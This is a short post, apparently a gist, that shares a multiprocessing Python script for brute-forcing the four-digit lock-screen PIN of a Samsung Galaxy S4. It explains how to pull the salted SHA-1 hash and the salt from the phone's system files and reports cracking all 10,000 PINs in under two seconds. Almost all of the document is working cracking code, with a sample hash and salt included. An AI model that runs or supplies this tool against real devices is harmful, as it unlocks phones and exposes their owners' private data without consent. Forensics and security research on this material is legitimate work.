Modified version of samsung_hahs_crack.py. Use Multiprocessing.

samsung_hash_crack.py

#!/usr/bin/python

'''
Python implementation of passcode hashing algorithm
used on the Samsung Galaxy S4 GT-I9505 4.2.2
Correct PIN for hash and salt below is 1234.

Get 40-character hash value in ascii hex format
from file /data/system/password.key on the phone

Get salt in signed numeric format by doing sqlite3 query
SELECT value
FROM locksettings
WHERE name = 'lockscreen.password_salt' on /data/system/locksettings.db

by @hubert3 2014-01-23
'''

from hashlib import sha1
from binascii import unhexlify
import time
import multiprocessing

hex_hash = '867B4B7F6C7E5CCC50A1BD183D8C3E5801F20344'
salt_to_pass = '-3343618892075477414'


def get_salt(salt):
        int_salt = int(salt)
        int_salt = (int_salt & 0xffffffffffffffff)
        salt = hex(int(int_salt)).lstrip("0x")
        salt = salt.rstrip('L')
        return salt


def compute(min_per_thread, max_per_thread):
    for pin in map('{:04}'.format, range(min_per_thread, max_per_thread)):
        #binary digest, not ascii hex
        digest = sha1('0' + pin + salt).digest()
        #Samsung uses 1024 SHA-1 iterations
        for i in map(str, range(1, 1024)):
            digest = sha1(digest + i + pin + salt).digest()
            if digest == samsung_hash:
                print 'FOUND PIN %s' % pin
                end = time.time()
                print "The assignment took", end-start, "seconds."
                exit(0)


if __name__ == '__main__':
    start = time.time()

    n_cores = multiprocessing.cpu_count()
    print n_cores, "cores found !"

    samsung_hash = unhexlify(hex_hash.lower())
    salt = get_salt(salt_to_pass)

    limit_per_cores = 10000 / n_cores

    for i in range(0, n_cores):
        p = multiprocessing.Process(
            target=compute,
            args=(i * limit_per_cores, (i + 1) * limit_per_cores))
        p.start()

    p.join()

With my i7 4770K @ 3.5Ghz it takes +/- 1.7 seconds to test all possibility.
The major con is that if no PIN found no "No PIN found" message, that's because of multiprocessing.